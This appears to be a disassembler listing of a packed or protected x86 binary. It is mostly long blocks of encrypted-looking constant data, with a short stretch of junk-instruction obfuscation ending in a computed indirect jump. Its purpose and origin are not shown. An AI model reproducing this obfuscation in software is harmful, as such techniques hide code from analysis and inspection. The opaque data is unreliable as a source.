		dd 70BD1A44h, 0C2E8C7E4h, 3150E173h, 9DB4C640h,	0C60E8F10h
		dd 2D1FB298h, 0E0C2338Dh, 46D9394Dh, 2DC5A537h,	549CFD4Ch
		dd 268501E8h, 4F99AF04h, 2FF2D302h, 42C3168Fh, 200482F3h
		dd 2F5B0A8Bh, 81A2729Ah, 0E70A5AACh, 30000000h,	0C3E06CBDh
		dd 0E06ABEE4h, 0C5413051h, 8E109DB4h, 3051F74Ch, 0C81539A8h
		dd 0F3D87CC9h, 0E22D22D3h, 0C091F060h, 9EA0B131h, 0B09C2D10h
		dd 0AF9D3012h, 3F47A29Eh, 2426BAA0h, 0E34EBF9Ch, 0FC168F70h
		dd 717497D3h, 983F4A8Bh, 32C2BE42h, 9F4C9475h, 820882B8h
		dd 75C4F343h, 0FFDFBEDFh, 0FFDCAABFh, 75AC938Eh, 9A395C10h
		dd 454495BDh, 0B13B5AF6h, 6542129Fh, 0D564F03Dh, 0E88834EEh
		dd 5839DB91h, 0D1604290h, 5E10CE83h, 0AA4179FCh, 102AFh
		dd 84E9C00h, 183688AAh,	64498BAh, 1F3182A8h, 84C99BFh
		dd 57B47BAAh, 466C4A0Ah, 5C7E5CF6h, 3F614107h, 73805EEEh
		dd 449DF96Ch, 336616B8h, 0E470BD0Fh, 0FE56E3C7h, 71D96B6Fh
		dd 0A88AC810h, 0B6973715h, 2C20B199h, 9DB4E13Dh, 88C41510h
		dd 8A0B58B9h, 6CBD9842h, 0C3E4C3E0h, 9DB53892h,	0ED9C0110h
		dd 109DB571h, 5211DB3Ah, 38584A75h, 0CB250BC4h,	634BA9E4h
		dd 854FC38Fh, 6D4A0253h, 0B5AF645h, 3314428Ah, 1265E114h
		dd 0EF2E109Eh, 0F690D9E5h, 8EEBA4D9h, 27301687h, 89814F7Fh
		dd 0D5C3DFEh, 0F6D478C9h, 720581D4h, 311DAD1Dh,	0D9BAE120h
		dd 0BD8CED98h, 4A35DF4Ch, 710A883Fh, 0F94FE4C6h, 4CDDEFh
		dd 1F2D80A2h, 95BB0C4Eh, 0F0111136h, 7CC287FFh,	0B4D564EAh
		dd 885C0BD5h, 6CBD7506h, 4DE0C2E0h, 14736EFFh, 4C000000h
		dd 4EA0FA6Bh, 2469B489h, 5E7B429Ch, 0D263E97Ch,	0BDAF29B3h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E68956h
		dd 4C6h, 4EE8300h, 2474FF56h, 48F5E04h
; ---------------------------------------------------------------------------
		and	al, 5Ch
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	61A8633h
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 4C8A1035h
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [ebp+8]
		sub	dword ptr [ebp+8], 4C8A1035h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 61A9206h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 254D9C76h, 310D8387h, 9038A8B9h, 127E92BCh, 0EB0F92FBh
		dd 0EB1042C4h, 421A93F1h, 0D221AE58h, 0CB2A5C6Dh, 7E4DA0A4h
		dd 637757C4h, 0B25C4390h, 4E13B130h, 56760841h,	7F796B35h
		dd 0C9353A04h, 0CC7C089Fh, 52367B38h, 3756BD4Fh, 0F164CCD8h
		dd 2416A28Fh, 2B4E1F48h, 0E82DEC0Eh, 0Ah, 0AF316A98h, 19D58F88h
		dd 5FF8755Eh, 597CB752h, 0E52DC781h, 8B0F0000h,	5, 0A9E38166h
		dd 0E9C033E6h, 6, 0DBF45115h, 34FF4982h, 0E3816638h, 0F5EB166h
		dd 48Ch, 56B96600h, 32C68127h, 0E95815EDh, 6, 0B6452290h
		dd 0C681B2DFh, 656C26A9h, 0C68191B1h, 7C50A135h, 8056C2B7h
		dd 48F1AE5h, 0D68B6607h, 8118B060h, 784621DAh, 0E8836119h
		dd 0F881FC04h, 0FFFF1B58h, 0FFA8850Fh, 8B66FFFFh, 9E8CEh
		dd 48CB0000h, 6F82B9C3h, 56D11A7Bh, 5EDBB70Fh, 81DE8B5Ah
		dd 5864C2h, 0C933FC00h,	8BF2B70Fh, 0B70F0A3Ch, 0DBC781DEh
		dd 0F2E13F8h, 0C781F7B7h, 7BEE26CCh, 0EF81F28Bh, 4AB35944h
		dd 57C68B66h, 48FFE8Ah,	0D9BF0F0Ah, 4567F381h, 0E9837141h
		dd 0C68B6604h, 0A7F8F981h, 850FFFFFh, 0FFFFFFBFh, 0ECE9ECB3h
		dd 0
		dd 37000000h, 37C8106h,	587C81CEh, 57C80C0h, 0ED7C9010h
		dd 7C9010h, 276F200h, 5	dup(0)
		dd 0A0000000h, 7C80ADh,	2Bh dup(0)
		dd 6000000h, 14000000h,	5F1639E7h, 49516754h, 0BA4FAC37h
		dd 8C337614h, 0C4B2753Fh, 0C8B973EEh, 0AD8F9607h, 44340670h
		dd 9FB11C13h, 172139E7h, 0D82B6166h, 0FCF29E35h, 22321177h
		dd 1C4F90EFh, 15BF1375h, 4227BC1Bh, 7A69C699h, 3DB3A8E5h
		dd 0FC321375h, 0FC614571h, 22321177h, 1C4F90EFh, 15BF1375h
		dd 4227B30Ah, 7A69C699h, 1121FC93h, 1D791566h, 0C66EBC2h
		dd 0A78ACF64h, 0E14F6BDBh, 946BA2h, 68B3452Ah, 6A767B42h
		dd 0AF644D79h, 977A5108h, 4B6CE567h, 223214E7h,	0ACB1EC66h
		dd 8E28816Fh, 7B61A66h,	2D321566h, 113214E0h, 0DBFE066h
		dd 42286AE3h, 22339A69h, 0EECA1566h, 80DB75B6h,	0A4321566h
		dd 0DCBF0353h, 708BEBE5h, 88339669h, 0C9CA1566h, 384DA0E3h
		dd 19B91A60h, 87321566h, 443217E4h, 0DD537566h,	94F4E0B6h
		dd 8E210487h, 165AE930h, 0DEAEBDDEh, 1132128Fh,	0FE6F8566h
		dd 4D4CA4DEh, 3CDBA099h, 993D1375h, 88321567h, 0FB3D759Fh
		dd 0A7BF7498h, 17246955h, 0E8E2EA9Fh, 1D7EAB06h, 2ADB1325h
		dd 0D9321566h, 2C6D63BCh, 25B6CADEh, 0A7BB749Ah, 172108CFh
		dd 8FBD1A9Fh, 4B321566h, 223214E3h, 94F5ED66h, 8E2106EFh
		dd 44321566h, 80897306h, 0D7CE740Ch, 9B23F4E3h,	50DB5060h
		dd 15321566h, 0F43FABD2h, 530D12B3h, 0D8C4FE89h, 0C4181902h
		dd 79E989FDh, 6407C0Fh,	0FA544606h, 446DA563h, 707BA0D9h
		dd 995FA099h, 48DB1375h, 1B321566h, 71732A2Bh, 38C3FEF6h
		dd 0C9A0F207h, 3108B8E3h, 9F3D7560h, 88321565h,	0ADF59E00h
		dd 22321560h, 89824781h, 775370E9h, 48B01AB6h, 0CB321566h
		dd 11321561h, 7ADB9BD0h, 0CD201ED2h, 311CA0E3h,	94F4EC60h
		dd 8E210487h, 45B11A25h, 0D7321566h, 76594B0Eh,	36CB75FAh
		dd 227D959Bh, 4F87EA07h, 71340677h, 80DB09D4h, 0AF321566h
		dd 0AB986D3Ch, 7041BE8Fh, 0B29F90EBh, 48DB1375h, 63321566h
		dd 31EBC7DEh, 1FAD2577h, 0BBC436D7h, 27DB75B6h,	4B321566h
		dd 3157D579h, 0B5B79C07h, 0DA340FF5h, 0D390A0h,	70661375h
		dd 265A3C0Eh, 2EB51A88h, 0F8321566h, 88321561h,	64890BCAh
		dd 0DAB60245h, 5FA099h,	0F3D1375h, 44321567h, 0A7BFEC9Eh
		dd 17212FCBh, 88339A69h, 0BBCA1566h, 0A7BBEDB6h, 17288693h
		dd 88321F8Fh, 0F73D7866h, 0C91C00EAh, 1EDAADA1h, 883202E6h
		dd 55B51A66h, 0CB321566h, 1132156Ah, 423BDA1Bh,	408CF8F5h
		dd 356BE08Dh, 0D390A0h,	0E8771375h, 47BF1A9Eh, 44321566h
		dd 7953C3EDh, 52522DA4h, 2987EA93h, 2D340677h, 11321DEEh
		dd 8AB61A66h, 24321566h, 8FB79807h, 1E34065Ch, 883212E5h
		dd 45B11A66h, 0DB321566h, 0EDCBC599h, 1BCB90EFh, 0C33D137Ch
		dd 22321567h, 2C8F969Fh, 88340671h, 452F9069h, 0AA3D1566h
		dd 1132156Eh, 88309369h, 25521566h, 33D390A0h, 1E771375h
		dd 883203E3h, 54B31A66h, 0CB321566h, 1132156Dh,	8B25EDDDh
		dd 897B4456h, 4A359C66h, 0EB126BE0h, 99DA759Eh,	0FA321566h
		dd 1AB2F813h, 0A78D7BBFh, 81718237h, 481B640h, 2232198Fh
		dd 4E5E4F66h, 6667387Ch, 7B95E617h, 588B4B5Dh, 70501859h
		dd 995FA099h, 0C9C71375h, 3108B8E3h, 0BA1A60h, 61321566h
		dd 4432156Ah, 0EA3C508Ch, 4D6F1339h, 98A600B4h,	0CDCBC599h
		dd 38A1E8E3h, 1BB71A60h, 61321566h, 44321563h, 29826EDBh
		dd 0F0B7D308h, 0C4340677h, 443BFC93h, 27FA1566h, 3815B1BAh
		dd 0E0F024E1h, 0A414C5A5h, 22349969h, 43521566h, 0E953753Fh
		dd 555FA099h, 0AFCE1375h, 208B8E3h, 85B41A60h, 24321566h
		dd 72D19400h, 2E2949Ah,	0E931A3AAh, 0CB3DC599h,	22321567h
		dd 10B79C9Ah, 61340FF2h, 44321577h, 0A5243A90h,	0DA1728B2h
		dd 264F719Dh, 14812694h, 2367FC9Ah, 77521566h, 3D866DEh
		dd 82CA74BFh, 3123F4E3h, 9A524760h, 4B8D1AA8h, 495AED07h
		dd 0DA8E5F82h, 5FFA099h, 9CDB1375h, 5D321566h, 47CB7066h
		dd 0F9D90C0Eh, 196E1F58h, 0EDEA1700h, 0AFBE73D5h, 208B8E3h
		dd 87DB7560h, 79321566h, 1786B13Dh, 8A2595D4h, 5DC71A59h
		dd 15622B31h, 0DD534A38h, 33B91AB6h, 0E8321566h, 4432018Eh
		dd 240A766h, 52B40A16h,	0FBC90DC8h, 0CB2F2FA5h,	9CF6476h
		dd 983D4F97h, 88321566h, 0B9B79C07h, 0DA340FF5h, 0D390A0h
		dd 87601375h, 44320CECh, 2226FC66h, 0A67A1566h,	90781FF2h
		dd 0D38E3671h, 93B92762h, 673188A9h, 3D53B0h, 44321567h
		dd 687A7D93h, 973DB32Ah, 88321562h, 25537506h, 36FFA099h
		dd 943D1375h, 88321571h, 4432078Fh, 0F0F4B166h,	11EFDE21h
		dd 0A3F3EC1Fh, 0A918C863h, 0AFE4A1C9h, 208B8E3h, 81B01A60h
		dd 24321566h, 6548CDD9h, 7023A719h, 8832068Fh, 0C2C90866h
		dd 0A9CF0471h, 9962A2Ch, 0AA3DC347h, 17E3CDBCh,	31DBC599h
		dd 31321566h, 3B9DF7DAh, 2B0B1CCAh, 0FE61078Eh,	4C2F455Ch
		dd 1C73447h, 5EA614E3h,	0AE3D7560h, 1132156Ch, 8832108Fh
		dd 9050B66h, 0AE3D481Bh, 11321564h, 4E5392D1h, 5723F4E3h
		dd 4AC74760h, 0EC70A18Ch, 26E99506h, 44379569h,	0A3541566h
		dd 708BCBBFh, 995FA099h, 0AD521375h, 22321575h,	30B8B938h
		dd 71AA0F36h, 0D726C5B4h, 3795ECD1h, 0F9C7C371h, 8832156Eh
		dd 949D1C7Ch, 5D7B760Dh, 11329E69h, 0E96A1566h,	7E9F90EBh
		dd 0A9521375h, 0E38D1AA8h, 93B41A07h, 24321566h, 2232048Fh
		dd 0C5243F66h, 1E36AE54h, 0DE83E96Ah, 0DA066798h, 0A63D7940h
		dd 58CD7498h, 44209A69h, 2FDB1566h, 39321566h, 18A6805Dh
		dd 0A4B4BF59h, 0EA6DBF18h, 77F09E06h, 7E06FDE7h, 25B79C07h
		dd 2D340668h, 11320EE7h, 41B27566h, 4422FD9Eh, 0EA471566h
		dd 0C39AA28Ah, 1C93D14Fh, 50D3082Ah, 436BEE54h,	0D390A0h
		dd 7D451375h, 0C43DE906h, 2232156Bh, 11321D8Fh,	1A6ABB66h
		dd 0ABD6AEB4h, 815A747Ch, 0F8C182CEh, 88321575h, 0C4EB67B3h
		dd 69AFC12h, 7979C616h,	52995FA9h, 0AD268A91h, 22321561h
		dd 0F733A166h, 77678B86h, 5722C4D3h, 0A7BFE960h, 17212FCBh
		dd 88399D69h, 42DB1566h, 0D6321566h, 0B6B72FFDh, 71E2EAB7h
		dd 640390EFh, 2EDB1375h, 12321566h, 0D8A6C086h,	0F0CE74B1h
		dd 42346A4Bh, 70F09E00h, 99D390A0h, 0B8601375h,	0FF03020Eh
		dd 10B91AECh, 7D321566h, 555FA099h, 0AFCE1375h,	208B8E3h
		dd 883DFC60h, 0B7641566h, 0C1DDB664h, 14F79405h, 3705A591h
		dd 0B1E2EA3Fh, 2232048Fh, 0FF2EB466h, 0AAF590FCh, 0F7B8C304h
		dd 2E389BFFh, 94BBF2F6h, 8E213EBFh, 0A5B7D39Ah,	74340677h
		dd 11279569h, 98DB1566h, 57321566h, 8F328408h, 2639A223h
		dd 45C7E2D6h, 2C354292h, 0F62D785Fh, 0F887EA93h, 87340678h
		dd 443214E3h, 0CA52E066h, 11321560h, 5BFB2950h,	90B88554h
		dd 24BA1A39h, 1E321566h, 883215EEh, 0C1BF7466h,	24246955h
		dd 0AE3DE006h, 58CD74A7h, 4432018Fh, 9F669C66h,	0E8769E11h
		dd 3549BD80h, 5B832E22h, 0DF039DB7h, 24B79C0Dh,	61340667h
		dd 44321575h, 0A969A37h, 0C07B421h, 0D25F1BF6h,	8D15114Ch
		dd 0E4FBE962h, 223F4E3h, 0E0CA5260h, 0C5EE051Ch, 2DC39E06h
		dd 113217EEh, 0E9C19F66h, 2987EA9Eh, 2D340677h,	113214EEh
		dd 0DBFED66h, 42212FCBh, 22339369h, 0EEC71566h,	13D75B6h
		dd 44321564h, 0DCB94C34h, 84B79C07h, 7D340675h,	0B5B37306h
		dd 0A63DE883h, 11321560h
		dd 88329969h, 82531566h, 3123F4E3h, 1E525260h, 0E053EAD1h
		dd 0CE3DA084h, 0F8E09406h, 773C741Ah, 0B68AD7E7h, 2987EA07h
		dd 0DA340677h, 2B9F90EBh, 0E9521375h, 2252C599h, 7964D4E7h
		dd 6EDB33DFh, 0DBB7421h, 42288147h, 2D52A606h, 113215EBh
		dd 0DF57466h, 42211067h, 2232151Eh, 11321D8Fh, 0C4611766h
		dd 6C330BF4h, 0C78F96DCh, 11340661h, 903C9169h,	0C73D1566h
		dd 2232156Eh, 0C747AB06h, 0E9CB3D02h, 55D390A0h, 0CB7E1375h
		dd 11321563h, 56103EDEh, 58DB7D78h, 42C7CCBCh, 0BA7ED6E7h
		dd 9545631h, 255D02B7h,	335FA099h, 9B3D1375h, 88321567h
		dd 0E9B7989Ah, 4234065Ch, 0BF38AE00h, 0E9F59E00h, 44339F69h
		dd 0DDCA1566h, 113FFCB6h, 8A881566h, 6DC50182h,	4CB1FB51h
		dd 98BAC7A7h, 92A618E3h, 0C1F4E960h, 24210487h,	1121FC2Ah
		dd 684F1566h, 5BDA47A9h, 967DE5E8h, 4A59BDD0h, 72DA92BCh
		dd 9AFC7D7Ch, 0A852C812h, 0DFD994BBh, 0E95826EDh, 4432068Fh
		dd 222C9666h, 1C957496h, 0BF7276B2h, 0E1B356A9h, 269FCC2Fh
		dd 5FA099h, 7D521375h, 44259769h, 30DB1566h, 73321566h
		dd 26E6031h, 0BC84217h,	8C50DFF8h, 0EB27150Fh, 0DBF74E3h
		dd 42212FCBh, 22321E8Fh, 0D87F5E66h, 0C51CCAE4h, 69E84C88h
		dd 2ADBC599h, 0F7321566h, 0E156B2B4h, 247833C8h, 2232188Eh
		dd 0FB570666h, 708EE3ADh, 48F57A78h, 0A3545DB9h, 48FB98A7h
		dd 0E997F1E6h, 0D02390EFh, 4452137Ch, 70EB32DCh, 99D390A0h
		dd 4B7E1375h, 223203EFh, 1123FC66h, 94931566h, 83B78F88h
		dd 0A8E47744h, 1BBC8CD5h, 0E0D5856Ah, 0F3B39759h, 4F87EA9Eh
		dd 71340677h, 0E8C2A269h, 25534A35h, 189F90EBh,	0F8521375h
		dd 88321577h, 169E948h,	0FEE9EBF3h, 0B362CC44h,	81210932h
		dd 4435FC30h, 8CF91566h, 679591D6h, 58CD74C4h, 4432138Fh
		dd 280D2566h, 98387FE5h, 92A600E3h, 4EBF1A60h, 0CB321566h
		dd 11321563h, 7E2048F2h, 443CFC53h, 895F1566h, 83401131h
		dd 0B8AE9792h, 1A30F156h, 33D390A0h, 0E97E1375h, 0A7720D0Eh
		dd 443BFCD5h, 0EEC61566h, 0B052AD69h, 612BA17Eh, 44321574h
		dd 0E788E8C0h, 8DF2B5E6h, 13F89468h, 0CD1980C6h, 97CD936Eh
		dd 1721040Bh, 883B9A69h, 0BD521566h, 1A9BC2E7h,	9C53613Eh
		dd 9B08B8E3h, 45BF1A60h, 0DE321566h, 9052C599h,	613367BDh
		dd 0C93D741Dh, 22321561h, 11339369h, 1CA1566h, 5EA600E3h
		dd 0D3B37560h, 3317E05Ah, 69B7D307h, 2340677h, 44C19E06h
		dd 701CC1DCh, 5634010Eh, 5DB71ADCh, 0CB321566h,	11321572h
		dd 0D10EB3CCh, 0E91F374Eh, 97B0DA76h, 7B5786E4h, 0CBE2629Ah
		dd 555FA099h, 0AA3D1375h, 11321567h, 25B7989Ah,	0AD34065Ch
		dd 2232156Bh, 6371BF4Ch, 0AF13BE21h, 7F6CB2FAh,	0CBE2EA55h
		dd 11321574h, 36CDEBB7h, 17FF8F40h, 7DFB3507h, 0E1FE32F7h
		dd 0DBB033Bh, 4228817Bh, 2F87ED06h, 0F0B7D307h,	0CF340677h
		dd 44321C8Fh, 4C3D4766h, 91EB67B3h, 0F25AFC12h,	24B3C976h
		dd 44E29E00h, 5AA1FAE7h, 0E587EA07h, 0BC340677h, 189F90EBh
		dd 1ADB1375h, 0D9321566h, 6A42BCE1h, 5C54D0BEh,	0C1CDD5B6h
		dd 40B3EC06h, 6EB8AE94h, 0A7BBED07h, 17288143h,	69B7D393h
		dd 3340677h, 2235FC06h,	96AC1566h, 0AE88D18Ah, 0E85A74B8h
		dd 42DD92E8h, 11379869h, 698C1566h, 223CCA7Ch, 4253CAEDh
		dd 11369369h, 33541566h, 0F33DD5F0h, 97CD7496h,	1721040Bh
		dd 54B2759Eh, 4423FD3Fh, 23151566h, 617426F1h, 2F8C9BA3h
		dd 0C8FF08A6h, 939D8789h, 9C534BD1h, 9B08B8E3h,	45B21A60h
		dd 0DA321566h, 7752C599h, 0EE23CBDFh, 25E0C6DEh, 223EFC06h
		dd 0F88D1566h, 3E89E117h, 0ABEB3EE3h, 0AB536B1Fh, 0BA63CE3h
		dd 99B81A60h, 4B321566h, 22321EE8h, 1134FC66h, 5CDF1566h
		dd 0EF328A65h, 33D390A0h, 71751375h, 88309A69h,	25521566h
		dd 22321C8Fh, 2ADC2A66h, 0E1BC23C5h, 0AD53D446h, 22321561h
		dd 0C88F3B69h, 0E0435DDFh, 90A8B2B4h, 2232078Fh, 7BB0D766h
		dd 94784395h, 0A861B72Fh, 58212F6h, 0EEC3B283h,	9B2378D3h
		dd 0FC547560h, 0AC3D2917h, 11321564h, 553D5D7h,	5708B8E3h
		dd 31B71A60h, 1E321566h, 883218E1h, 443AFC66h, 1BE61566h
		dd 92147C6Ah, 58CDC900h, 4432018Fh, 86B3F566h, 3A803B4Ch
		dd 2AD99EFAh, 0B3EC384Bh, 4116BC25h, 3CB79C76h,	87340FF2h
		dd 443213E3h, 7A647566h, 0D7537406h, 9B23F4E3h,	56DB5260h
		dd 0E321566h, 0A2BC3556h, 0D63E2DBBh, 3BF85854h, 8AF239BBh
		dd 155AED23h, 8788D45Fh, 44320DE5h, 33DB7566h, 8321566h
		dd 0C06D3F71h, 60726FC1h, 94F37FEEh, 72FBB915h,	0E587EA07h
		dd 0AD340677h, 22321577h, 0D505DA0Dh, 8E01C41h,	0B7746111h
		dd 93E35394h, 0BCB798B3h, 0E834065Ch, 2E3D18D9h, 43C79F3Dh
		dd 7752C599h, 1B06FAE7h, 4432078Fh, 0ED959666h,	2E0ED9D5h
		dd 0F664EAC0h, 0E890ED26h, 43857F88h, 20B79C93h, 61340FF2h
		dd 44321563h, 742A36F5h, 113DFCB7h, 2161566h, 3C9CEFh
		dd 0C1D858B4h, 1ADA5B4Ah, 0F18F9620h, 44340671h, 225D9069h
		dd 71CB1566h, 354E5ECh,	0C1F474B7h, 24210487h, 765AE921h
		dd 0E8D2674Bh, 85F1AE00h, 43C89E00h, 1132068Fh,	20352D66h
		dd 87A25DE4h, 6D3530E7h, 9617B03h, 0A2BE67C0h, 555FA099h
		dd 42CB1375h, 1E52F4D1h, 883215E1h, 83FF9566h, 0A7BF7407h
		dd 17212FCBh, 87E2EA93h, 443214EBh, 0ABCAE966h,	0BA620E3h
		dd 8835FC60h, 19251566h, 50D1A5C5h, 0F0B7D341h,	0CF340677h
		dd 44321A8Fh, 8CF15266h, 656938FEh, 7835E3Ch, 0DF577F62h
		dd 0B81A40Eh, 905475E8h, 876368B6h, 0BB53CED1h,	312378D3h
		dd 94BFEC60h, 8E212FCBh, 2211A606h, 4325E5E7h, 71E2EA07h
		dd 0E9CE50D2h, 0D00B90EFh, 0E4CA137Ch, 223F4E3h, 0C3D5660h
		dd 44321567h, 68957D9Fh, 923DD510h, 88321561h, 44339869h
		dd 0CBCE1566h, 11321569h, 495BFF0h, 0CF016AFh, 0E939EE36h
		dd 0EEFBB317h, 9B2378D3h, 4B52E960h, 0A354C6D1h, 70AAA8BDh
		dd 0B29F90EBh, 54DB1375h, 19321566h, 0E5CE3498h, 3B7E97A2h
		dd 5145B2DDh, 0DD6A0C01h, 1135FCB6h, 0CE771566h, 1A142FC4h
		dd 1FB79C02h, 71340FF2h, 0D8FBAA69h, 4B534E93h,	223201E5h
		dd 113DFC66h, 7F491566h, 0E8C200B0h, 38C04A72h,	0CD802CA4h
		dd 69B7D30Dh, 8340677h,	22359369h, 933D1566h, 88321567h
		dd 28D97D9Fh, 31DBEE00h, 0DC321566h, 442201C9h,	40531A0Dh
		dd 8A725B32h, 0F56DA3A3h, 3DCD52F5h, 422105B7h,	2232188Fh
		dd 0DFF01466h, 0CC04BCF3h, 4C567D5Ch, 0A7BFAD7Dh, 17212FCBh
		dd 8832068Fh, 84B1BD66h, 0DA02613Fh, 0A3B74254h, 4EE9ADD6h
		dd 820D8979h, 0ABCBC599h, 0BA6C4E3h, 8FBD1A60h,	24321566h
		dd 42A3E3E6h, 94F47407h, 8E210487h, 0BAB97522h,	775A749Eh
		dd 0F88966E8h, 88321561h, 0F8B672ECh, 0DDC4E080h, 22378D3h
		dd 0F3DE060h, 4432156Ch, 2232108Fh, 5F9A66h, 0DBFDCBDh
		dd 42212FCBh, 2232108Fh, 0BB3AB66h, 58CD6159h, 44379969h
		dd 44521566h, 1E53E2EDh, 883214E0h, 0C1BBE966h,	24288127h
		dd 12BB1A06h, 0EE321566h, 8253DEEDh, 3123F4E3h,	9E3D5660h
		dd 8832156Ch, 9EB97306h, 2D0050D8h, 0ED5A745Dh,	0E88E9B08h
		dd 0CF54CBEDh, 445274A8h, 0AE7A05D9h, 0D85F0596h, 2987EA07h
		dd 0D7340677h, 2B9F90EBh
		dd 87521375h, 443214EDh, 0DD53E966h, 94BBE9B6h,	8E288123h
		dd 44269969h, 44521566h, 0F80D8DDEh, 8832156Fh,	14A14A9Dh
		dd 55125A7Ah, 1CDB74F2h, 0CF321566h, 5C45C197h,	0BE61C7DCh
		dd 62929C75h, 99D390A0h, 4B611375h, 223201E5h, 113DFC66h
		dd 0D7AC1566h, 0EC37597Ah, 3E84A576h, 0E383F193h, 0B6987D0Ah
		dd 0AD52D376h, 22321560h, 37C4F032h, 8FDB58A4h,	95321566h
		dd 203DA313h, 715381C1h, 8839FC37h, 0CE21566h, 0AA1CB548h
		dd 0FA6E3122h, 8EDA4EABh, 3F321566h, 8B37BA82h,	11B81A20h
		dd 0D7321566h, 2987EA07h, 2D340677h, 113212E6h,	89BA1A66h
		dd 0BC321566h, 189F90EBh, 71CA1375h, 8832048Fh,	0BAB74E66h
		dd 1E8BE02Dh, 332D797Ch, 3FC31D6Ch, 4FDA5D71h, 0EC321566h
		dd 0D2A1F5F7h, 589D1C7Ch, 2568760Dh, 2D52C599h,	1BDBE5D9h
		dd 0B1321566h, 0D53C39C5h, 9EA17EC6h, 94BB7481h, 8E28812Fh
		dd 598F969Eh, 22340679h, 12F79169h, 87521566h, 443207E0h
		dd 223FFC66h, 8F781566h, 6E2660F9h, 0F9A958BBh,	9CB12242h
		dd 649E0D8Fh, 69B7D307h, 2340677h, 0A954E006h, 205A74BFh
		dd 70C883A8h, 555FA099h, 0AE3D1375h, 11321567h,	25B7989Fh
		dd 0BC34065Ch, 0A352C599h, 3B0366ACh, 883AFD11h, 0FCA81566h
		dd 467B93A3h, 1681117Dh, 0DBB743Fh, 422881C3h, 2232188Fh
		dd 2142BE66h, 6AC3EC2h,	42122D67h, 0E4C7086Eh, 223F4E3h
		dd 0E0CE5360h, 0B8952FB0h, 2226FD06h, 17FA1566h, 64AEB86h
		dd 656DCC9Dh, 0E76227F5h, 0C6499FC8h, 4AB96C04h, 0B48D1A38h
		dd 4F87EA07h, 71340677h, 40E0959Eh, 0E9B79807h,	4234065Ch
		dd 0D6851A9Ah, 70E2EA07h, 0D08790EFh, 0AA3D137Ch, 1132156Bh
		dd 88321D8Fh, 83BC3966h, 0C564303h, 0F0B7D3A2h,	0CE340677h
		dd 4432058Fh, 243B7666h, 1B8F2C31h, 9EE3B07Fh, 8A6E8C27h
		dd 86327DE9h, 1CDB879Ah, 0A3321566h, 0FEB24A14h, 0ED894E0Ch
		dd 29588C61h, 8832048Fh, 0F2526266h, 86DF44AAh,	0FC818B70h
		dd 1DBF22B8h, 0F1CD5510h, 2421040Bh, 1121FC06h,	0DCDC1566h
		dd 3F47811Eh, 0EB6EB7AEh, 795B13D5h, 1E3F3CABh,	0C1BF74BDh
		dd 24212FCBh, 112A9C69h, 9BDB1566h, 56321566h, 696E114Fh
		dd 0E1E987A5h, 0B18318D4h, 0F782C661h, 0F2CD3CB9h, 0A8B79C93h
		dd 71340FF2h, 55D390A0h, 2D741375h, 113214E1h, 0E25AE066h
		dd 0BDC4C129h, 335FA099h, 9CCE1375h, 9B08B8E3h,	42DB7560h
		dd 91321566h, 98827C98h, 80DB7431h, 25321566h, 2833E506h
		dd 0EEF7B033h, 70B975B6h, 1FE59E35h, 9FB79C07h,	0ED340FF2h
		dd 88289669h, 0C4521566h, 2DDAAC84h, 0BA321566h, 0C10F45FCh
		dd 0CA038EA7h, 3B803114h, 706B3FDBh, 99D390A0h,	4B741375h
		dd 22320CE3h, 1126FC66h, 11901566h, 0F7D4C719h,	0FDA4BCD3h
		dd 6B6A93B4h, 5593CA5Dh, 55DB87C8h, 2F321566h, 0A2F1AFEDh
		dd 4178F086h, 302E32C7h, 295582F3h, 0DC62F20Eh,	5EB375F2h
		dd 700BA8BBh, 0DD53CBEDh, 22378D3h, 90B81A60h, 0AD321566h
		dd 22321575h, 2DA6C4F5h, 1D2CABC1h, 6977F65Fh, 5A9DF4E0h
		dd 0E9C886CFh, 0B29F90EBh, 0AD521375h, 22321576h, 0E726908Fh
		dd 0B02CFE91h, 49DCACB1h, 3B613073h, 11329969h,	77531566h
		dd 55DA75B6h, 0DE321566h, 0C7366E07h, 56D23392h, 7A2CECAAh
		dd 0E4CC9386h, 8AF89400h, 23D4A43h, 44321562h, 1189AA00h
		dd 0B8B79C07h, 74340FF2h, 55D390A0h, 0DB741375h, 33462E0Eh
		dd 883EFCD7h, 0D51D1566h, 10568F31h, 516A094Dh,	3DCD64B4h
		dd 4221040Bh, 0EAB97306h, 11321E8Eh, 87F8E866h,	0F00FC8B0h
		dd 0B7D1DC4Ah, 4EEC9E00h, 0DBFE007h, 42212FCBh,	22219969h
		dd 1FDB1566h, 0DF321566h, 24BFAD74h, 0A48AC04Ah, 45CDA1E0h
		dd 0E8E2EAFDh, 4432108Fh, 68E76366h, 1E533DBFh,	883201ECh
		dd 4AB11A66h, 0CB321566h, 1132156Fh, 2CC91E2Dh,	7B74EDB2h
		dd 8FB79CA6h, 1E340FF2h, 883214E2h, 82CBEC66h, 3123F4E3h
		dd 9A3D5360h, 88321561h, 44339B69h, 4ACB1566h, 0CE4BFF8Bh
		dd 0D6627506h, 44321D8Fh, 5249A66h, 24549F5Dh, 354745Ah
		dd 0F1CD74B5h, 2421040Bh, 11269269h, 87DB1566h,	0E2321566h
		dd 1A4C5Ah, 0DE22B84Bh,	1BB0A0E4h, 0CF527F03h, 0A7BF749Dh
		dd 17212FCBh, 8832018Fh, 0EB6E1D66h, 6F27F02Bh,	0F2F86C85h
		dd 3684172Ah, 4B481179h, 2DE2EA60h, 113210EDh, 0E9527566h
		dd 0C1BB749Fh, 242881D7h, 0C3B3759Ah, 8FA9D96Dh, 0C753D2EDh
		dd 31256CDBh, 943D1560h, 883215F1h, 4421FC06h, 0D6DD1566h
